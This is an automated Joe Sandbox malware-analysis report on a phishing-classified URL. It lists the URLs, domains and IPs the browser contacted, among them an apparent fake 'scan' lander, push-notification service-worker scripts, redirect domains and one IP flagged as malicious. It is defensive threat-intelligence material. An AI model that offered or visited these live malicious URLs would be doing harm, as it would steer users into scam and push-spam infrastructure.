https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968806042&PageStart=1727968793870&PrevBundleTime=1727968804738&IsNewSession=true&SkipResponseBody=true	false	unknown
https://dpm.demdex.net/ibs:dpid=411&dpuuid=Zv62GgAAAM1jKwN6	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968806046&PageStart=1727968793870&PrevBundleTime=1727968804738&LastActivity=152&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968813499&PageStart=1727968793870&PrevBundleTime=1727968813847&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968799356&PageStart=1727968793870&PrevBundleTime=1727968798334&LastActivity=5395&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=5&ClientTime=1727968802518&PageStart=1727968793870&PrevBundleTime=1727968800350&IsNewSession=true&SkipResponseBody=true	false	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=479551210773800&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799268&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22663%22%5D&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968800680&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://beta-scan.site/landers/gsb/GSB/files/styles/default.css	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968805367&PageStart=1727968793870&PrevBundleTime=1727968805518&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968804534&PageStart=1727968793870&PrevBundleTime=1727968800350&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://edge.fullstory.com/datalayer/v4/latest.js	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.529.js?utv=ut4.39.202409111541	false	unknown
https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=11&ClientTime=1727968811944&PageStart=1727968793870&PrevBundleTime=1727968812322&IsNewSession=true&DeltaT=1695&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968797360&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/page	false	unknown
https://connect.facebook.net/signals/config/479551210773800?v=2.9.170&r=stable&domain=www.mcafee.com&hme=d82868061a8c707cd31395a3055e7449daa03bd520872727258c39e6af34523e&ex_m=70%2C120%2C106%2C110%2C61%2C4%2C99%2C69%2C16%2C96%2C88%2C51%2C54%2C171%2C174%2C186%2C182%2C183%2C185%2C29%2C100%2C53%2C77%2C184%2C166%2C169%2C179%2C180%2C187%2C130%2C41%2C34%2C142%2C15%2C50%2C193%2C192%2C132%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C92%2C17%2C14%2C95%2C91%2C90%2C107%2C52%2C109%2C39%2C108%2C30%2C93%2C26%2C167%2C170%2C139%2C28%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C101%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C103%2C102%2C104%2C97%2C10%2C20%2C3%2C38%2C74%2C19%2C85%2C56%2C83%2C33%2C73%2C0%2C94%2C32%2C82%2C87%2C47%2C46%2C86%2C37%2C5%2C89%2C81%2C44%2C35%2C84%2C2%2C36%2C63%2C42%2C105%2C45%2C79%2C68%2C111%2C60%2C59%2C31%2C98%2C58%2C55%2C49%2C78%2C72%2C24%2C112%2C199%2C198%2C200%2C205%2C206%2C207%2C203%2C195%2C131%2C162%2C194%2C196%2C121%2C156%2C144%2C150%2C188%2C189%2C128%2C231%2C115%2C126%2C232%2C164%2C118%2C234%2C165%2C135%2C122%2C153%2C147%2C113%2C127	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968802065&PageStart=1727968793870&PrevBundleTime=1727968802443&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://beta-scan.site/1211351.sw.js	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968802666&PageStart=1727968793870&PrevBundleTime=1727968803047&IsNewSession=true&DeltaT=5257&ContentEncoding=gzip	false	unknown
https://beta-scan.site/landers/gsb/GSB/files/images/action_3.gif	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=5&ClientTime=1727968803982&PageStart=1727968793870&PrevBundleTime=1727968803507&LastActivity=1080&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.528.js?utv=ut4.39.202409111541	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968802519&PageStart=1727968793870&PrevBundleTime=1727968800350&IsNewSession=true&SkipResponseBody=true	false	unknown
https://edge.fullstory.com/s/fs.js	false	unknown
https://s.yimg.com/wi/config/10180750.json	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.547.js?utv=ut4.39.202409111541	false	unknown
https://static.imghst-de.com/pb-message.png	false	unknown
https://s.yimg.com/wi/ytc.js	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=10&ClientTime=1727968815414&PageStart=1727968793870&PrevBundleTime=1727968815783&IsNewSession=true&DeltaT=6782&ContentEncoding=gzip	false	unknown
https://app.upsellit.com/hound/monitor.jsp?qs=dPXZ9bw1J7MpbBgMBViugXr&siteID=42094&si=qx3zi0_1727968801	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968806180&PageStart=1727968793870&PrevBundleTime=1727968806548&IsNewSession=true&DeltaT=2019&ContentEncoding=gzip	false	unknown
https://search.molhajane.live/iltnvcec/?u1=k8cpmrd&o1=vw92awy&m=1&t=pshtbnewlink1208_redirectUrl_body&f=1&sid=t6~gsmkraetmfbssfnztncro0il&fp=wWnRD%2BVSrlJR70eh%2F5OBUA%3D%3D	false	unknown
https://www.facebook.com/privacy_sandbox/pixel/register/trigger/?id=554540123362514&ev=AddToCart&dl=https%3A%2F%2Fwww.mcafee.com%2Fen-us%2Fipz%2Ffeyncart%2F2web%2Fpayment.html%3Fmoguid%3D6a99f253-6888-47ce-8b47-55b36a90c42e%26culture%3Den-us%26affid%3D1494%26SID%3Dbefc4a8b-40b2-40f9-ab4d-e33b28d32c58%26cjevent%3De740f130819a11ef82fd372f0a18ba73%26csrc%3Dcj%26csrcl2%3DCreative%2BClicks%2BUSA%2BCN%26ccoe%3Ddirect%26ccoel2%3Dam%26ccstype%3Dpartnerlinks_e740f130819a11ef82fd372f0a18ba73%26CID%3D242012%26PID%3D101155411&rl=https%3A%2F%2Fbeta-scan.site%2F&if=false&ts=1727968799270&cd[content_type]=product&cd[currency]=usd&cd[content_name]=%5B%22mcafee%2B%E2%84%A2%20advanced%20-%20individual%22%5D&cd[value]=89.99&cd[content_ids]=%5B%22663%22%5D&sw=1280&sh=1024&v=2.9.170&r=stable&a=tmtealium&ec=0&o=4126&fbp=fb.1.1727968799265.613085145741678050&ler=other&cdl=API_unavailable&it=1727968795622&coo=false&dpo=LDU&dpoco=1&dpost=1000&tm=1&rqm=FGET	false	unknown
https://tags.tiqcdn.com/utag/tiqapp/utag.currency.js	false	unknown
https://sdk4push.com/f/sdk.js?z=1211351	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.516.js?utv=ut4.39.202409111541	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968809342&PageStart=1727968793870&PrevBundleTime=1727968807224&LastActivity=3451&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://mcafeeinc.demdex.net/dest5.html?d_nsid=undefined	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=7&ClientTime=1727968806043&PageStart=1727968793870&PrevBundleTime=1727968804738&IsNewSession=true&SkipResponseBody=true	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=3&ClientTime=1727968803749&PageStart=1727968793870&PrevBundleTime=1727968804125&IsNewSession=true&DeltaT=7720&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=4&ClientTime=1727968802518&PageStart=1727968793870&PrevBundleTime=1727968800350&IsNewSession=true&SkipResponseBody=true	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=6&ClientTime=1727968812824&PageStart=1727968793870&PrevBundleTime=1727968804738&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://dpm.demdex.net/id?d_visid_ver=3.1.2&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=A729776A5245B1590A490D44%40AdobeOrg&d_nsid=0&ts=1727968790195	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=9&ClientTime=1727968810568&PageStart=1727968793870&PrevBundleTime=1727968810940&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://beta-scan.site/landers/gsb/GSB/files/images/Family_Image_home.webp	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.557.js?utv=ut4.39.202409111541	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=8&ClientTime=1727968814102&PageStart=1727968793870&PrevBundleTime=1727968814482&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://re-captha-version-4-21.buzz/sw-e4e77d444e8cd26ad498a9c5c91d85c0.js	false	unknown
https://s.amazon-adsystem.com/iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart&_rnd=0.2050440943967049	false	unknown
https://rs.fullstory.com/rec/integrations?OrgId=CJB9Y&isInFrame=false&isNative=false	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968803486&PageStart=1727968793870&PrevBundleTime=1727968803676&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=2&ClientTime=1727968801459&PageStart=1727968793870&PrevBundleTime=1727968801661&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://rs.fullstory.com/rec/bundle/v2?OrgId=CJB9Y&UserId=2e149b8f-375f-45fb-8183-907205dbcaa7&SessionId=8f20100b-89e0-4c92-8f83-0c5a6e5bd061&PageId=2f0beb58-2f1a-4c48-9ad7-91ed5aadbd65&Seq=1&ClientTime=1727968803143&PageStart=1727968793870&PrevBundleTime=0&IsNewSession=true&ContentEncoding=gzip	false	unknown
https://tags.tiqcdn.com/utag/mcafee/consumer-display/prod/utag.361.js?utv=ut4.39.202409111541	false	unknown
https://831be5de.braraildye.live/qxvlhqbn/?u=k8pp605&o=c9ewtnr&t=8845&f=1&sid=t1~2nfu21dk4tvyqsnquqreybha&fp=o8R94K792gF2FmXXVRS19Q%3D%3D	false	unknown
https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://protection-qa-roadhouse-int.dvqa.mcafee.com/dbm/summary?dbmUpgrade=false	chromecache_393.1.dr	false		unknown
https://s2.go-mpulse.net/boomerang/	chromecache_393.1.dr	false		unknown
https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/poppins-v1	chromecache_393.1.dr	false		unknown
https://www.youtube.com/embed/	chromecache_561.1.dr, chromecache_532.1.dr	false		unknown
https://github.com/zloirock/core-js	chromecache_561.1.dr, chromecache_532.1.dr	false		unknown
https://www.upsellit.com/active/mcafee_retention.jsp	chromecache_577.1.dr, chromecache_310.1.dr	false		unknown
https://secure.quantserve.com	chromecache_393.1.dr	false		unknown
https://www.upsellit.com/launch/blank.jsp?original_price3=NOT_FOUND&url=	chromecache_483.1.dr, chromecache_500.1.dr	false		unknown
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_561.1.dr, chromecache_532.1.dr	false		unknown
https://c.go-mpulse.net	chromecache_393.1.dr	false		unknown
https://s.yimg.com	chromecache_393.1.dr	false		unknown
https://download.mcafee.com/molbin/iss-loc/pcoptimizer/install.exe	chromecache_313.1.dr, chromecache_375.1.dr	false		unknown
https://www.mcafee.com/etc.clientlibs/mcafee-ecommerce-wcm-cartthemes/ipz/resources/fonts/fontawesom	chromecache_393.1.dr	false		unknown
https://www.mcafee.com/consumer/ipz/cartservlet?operation=APPLY_PROMO	chromecache_483.1.dr, chromecache_500.1.dr	false		unknown
http://schema.org/ImageObject	chromecache_393.1.dr	false		unknown
https://home.mcafee.com/Secure/MyAccount/DashBoard.aspx?culture=en-us	chromecache_393.1.dr	false		unknown
https://connect.facebook.net/	chromecache_556.1.dr	false	URL Reputation: safe	unknown
https://github.com/piwik/piwik/blob/master/js/piwik.js	chromecache_445.1.dr, chromecache_294.1.dr	false		unknown
https://prod.upsellit.com	chromecache_483.1.dr, chromecache_434.1.dr, chromecache_500.1.dr, chromecache_314.1.dr, chromecache_577.1.dr, chromecache_310.1.dr	false		unknown
http://www.upsellit.com/customer-recovery-solutions.jsp	chromecache_474.1.dr, chromecache_312.1.dr	false		unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_561.1.dr, chromecache_367.1.dr, chromecache_532.1.dr	false		unknown
https://www.google.com/images/cleardot.gif	chromecache_346.1.dr	false		unknown
https://github.com/zloirock/core-js/blob/v3.22.6/LICENSE	chromecache_561.1.dr, chromecache_532.1.dr	false		unknown
https://service.mcafee.com	chromecache_393.1.dr	false		unknown
https://s-static.innovid.com	chromecache_393.1.dr	false		unknown
https://s.amazon-adsystem.com/iu3?pid=65e43844-67af-4e22-8a96-8d2d226fd5eb&event=AddToCart	chromecache_341.1.dr, chromecache_399.1.dr	false		unknown
https://googleads.g.doubleclick.net	chromecache_440.1.dr	false		unknown
http://piwik.org	chromecache_445.1.dr, chromecache_294.1.dr	false		unknown
http://collector-30568.us.tvsquared.com/	chromecache_530.1.dr, chromecache_330.1.dr	false		unknown
https://getbootstrap.com/)	chromecache_561.1.dr, chromecache_367.1.dr, chromecache_532.1.dr	false	URL Reputation: safe	unknown
https://connect.facebook.net	chromecache_393.1.dr	false		unknown
https://img.youtube.com/vi/	chromecache_561.1.dr, chromecache_532.1.dr	false		unknown
https://www.upsellit.com	chromecache_393.1.dr, chromecache_483.1.dr, chromecache_434.1.dr, chromecache_500.1.dr, chromecache_314.1.dr, chromecache_577.1.dr, chromecache_310.1.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.228.74.166	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
35.186.194.58	rs.fullstory.com	United States	15169	GOOGLEUS	false
104.21.79.120	psh-dsp-trk.trkless.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.226	unknown	United States	15169	GOOGLEUS	false
46.137.24.228	unknown	Ireland	16509	AMAZON-02US	false
63.140.62.222	demdex.net.ssl.sc.omtrdc.net	United States	15224	OMNITUREUS	false
3.76.71.197	831be5de.braraildye.live	United States	16509	AMAZON-02US	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
185.36.140.14	search.molhajane.live	European Union	35368	AS-DBNETZDE	false
185.85.13.155	gc.kis.v2.scr.kaspersky-labs.com	Russian Federation	200107	KL-EXTRU	false
185.85.13.154	me.kis.v2.scr.kaspersky-labs.com	Russian Federation	200107	KL-EXTRU	false
142.250.185.110	unknown	United States	15169	GOOGLEUS	false
38.180.68.202	beta-scan.site	United States	174	COGENT-174US	false
18.139.38.244	mm-prod-1479240573.ap-southeast-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
136.243.216.232	pushbizapi.com	Germany	24940	HETZNER-ASDE	false
74.125.206.188	mobile-gtalk.l.google.com	United States	15169	GOOGLEUS	false
63.140.62.17	unknown	United States	15224	OMNITUREUS	false
104.26.2.30	static.imghst-de.com	United States	13335	CLOUDFLARENETUS	false
216.58.206.46	google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	rtb.altairfomalhaut.com	European Union	13335	CLOUDFLARENETUS	false
66.235.152.156	adobetarget.data.adobedc.net	United States	15224	OMNITUREUS	false
66.226.1.69	app.upsellit.com	United States	7296	ALCHEMYNETUS	false
91.228.74.159	unknown	United Kingdom	27281	QUANTCASTUS	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false
54.246.144.89	spdc-global.pbp.gysm.yahoodns.net	United States	16509	AMAZON-02US	false
35.244.174.68	idsync.rlcdn.com	United States	15169	GOOGLEUS	false
18.171.79.250	rotator-prod-uk-acai-lb.inbake.com	United States	3	MIT-GATEWAYSUS	false
3.138.129.130	collectoru.us.tvsquared.com	United States	16509	AMAZON-02US	false
98.82.156.107	s.amazon-adsystem.com	United States	11351	TWC-11351-NORTHEASTUS	false
52.214.203.240	unknown	United States	16509	AMAZON-02US	false
142.250.186.174	android.l.google.com	United States	15169	GOOGLEUS	false
172.217.18.14	www3.l.google.com	United States	15169	GOOGLEUS	false
139.45.195.8	my.rtmark.net	Netherlands	9002	RETN-ASEU	false
139.45.197.251	redrotou.net	Netherlands	9002	RETN-ASEU	false
104.26.3.30	jpgtrk.imghst-de.com	United States	13335	CLOUDFLARENETUS	false
63.140.62.27	mcafee.com.ssl.d2.sc.omtrdc.net	United States	15224	OMNITUREUS	false
157.240.0.6	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
157.90.33.122	unknown	United States	766	REDIRISRedIRISAutonomousSystemES	false
157.90.33.121	sdk4push.com	United States	766	REDIRISRedIRISAutonomousSystemES	false
13.33.187.116	dzfq4ouujrxm8.cloudfront.net	United States	16509	AMAZON-02US	false
87.248.119.252	edge.gycpi.b.yahoodns.net	United Kingdom	203220	YAHOO-DEBDE	false
172.217.23.98	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
34.117.39.58	www.upsellit.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.217.18.98	unknown	United States	15169	GOOGLEUS	false
98.82.154.76	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
157.240.252.35	unknown	United States	32934	FACEBOOKUS	false
18.156.16.189	k8cpmrdof.thebigbonusleader.xyz	United States	16509	AMAZON-02US	true
178.63.248.56	uidsync.net	Germany	24940	HETZNER-ASDE	false
18.224.125.5	unknown	United States	16509	AMAZON-02US	false
54.72.136.225	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
216.58.206.68	unknown	United States	15169	GOOGLEUS	false
35.201.112.186	edge.fullstory.com	United States	15169	GOOGLEUS	false
157.240.253.1	unknown	United States	32934	FACEBOOKUS	false
188.114.96.3	re-captha-version-4-21.buzz	European Union	13335	CLOUDFLARENETUS	false
185.155.184.36	ahchoadeegu.homes	Switzerland	44160	INTERNETONEInternetServicesProviderIT	false
157.240.251.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
142.250.186.66	adservice.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.17

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525100
Start date and time:	2024-10-03 17:17:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.phis.troj.win@31/433@195/59
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.185.142, 66.102.1.84, 34.104.35.123, 172.217.23.99, 142.250.185.131, 142.250.185.67, 93.184.221.240, 192.229.221.95, 216.58.206.42, 216.58.206.74, 142.250.186.106, 142.250.186.170, 142.250.186.74, 172.217.18.106, 142.250.74.202, 142.250.181.234, 172.217.18.10, 172.217.16.202, 142.250.185.74, 172.217.23.106, 142.250.186.42, 142.250.186.138, 216.58.212.170, 172.217.16.138, 142.250.184.202, 142.250.185.234, 142.250.184.234, 142.250.185.202, 216.58.212.138, 142.250.185.106, 142.250.185.138, 142.250.185.170, 172.217.18.3, 142.250.186.35, 172.217.16.195, 89.207.16.75, 104.102.55.193, 142.250.184.238, 184.27.96.174, 184.28.89.23, 216.58.206.72, 2.19.126.160, 2.19.126.158, 2.19.126.200, 2.19.126.208, 2.23.196.132, 184.28.89.29, 34.253.91.38, 52.49.58.123, 18.203.123.228, 142.250.185.136, 142.250.185.194, 172.217.18.2, 2.19.126.147
Excluded domains from analysis (whitelisted): android.clients.google.com, www.googleadservices.com, s-static.innovid.com.edgekey.net, slscr.update.microsoft.com, clientservices.googleapis.com, translate-pa.googleapis.com, e7614.g.akamaiedge.net, a594.dscr.akamai.net, a248.b.akamai.net, clients2.google.com, ocsp.digicert.com, www.googletagmanager.com, update.googleapis.com, www.gstatic.com, cdn1.adoberesources.net.edgekey.net, mtalk.google.com, e4518.dscx.akamaiedge.net, www.bing.com, fcmregistrations.googleapis.com, clients1.google.com, ip46.go-mpulse.net.edgekey.net, www.mcafee.com.edgekey.net, aws-uk-jrtr.rtr.innovid.com.akadns.net, fs.microsoft.com, rtr-6-split-vohnus.rtr.innovid.com.akadns.net, accounts.google.com, content-autofill.googleapis.com, fonts.gstatic.com, ajax.googleapis.com, e19211.a.akamaiedge.net, cm.everesttech.net.akadns.net, track.cj.akadns.net, ctldl.windowsupdate.com, id.mcafee.com-v1.edgesuite.net, fe3cr.delivery.mp.microsoft.com, wildcard46.akstat.io.edgekey.net, e4518.dscapi7.akamaie
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ahchoadeegu.homes?u=k8pp605&o=c9ewtnr&t=8845

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
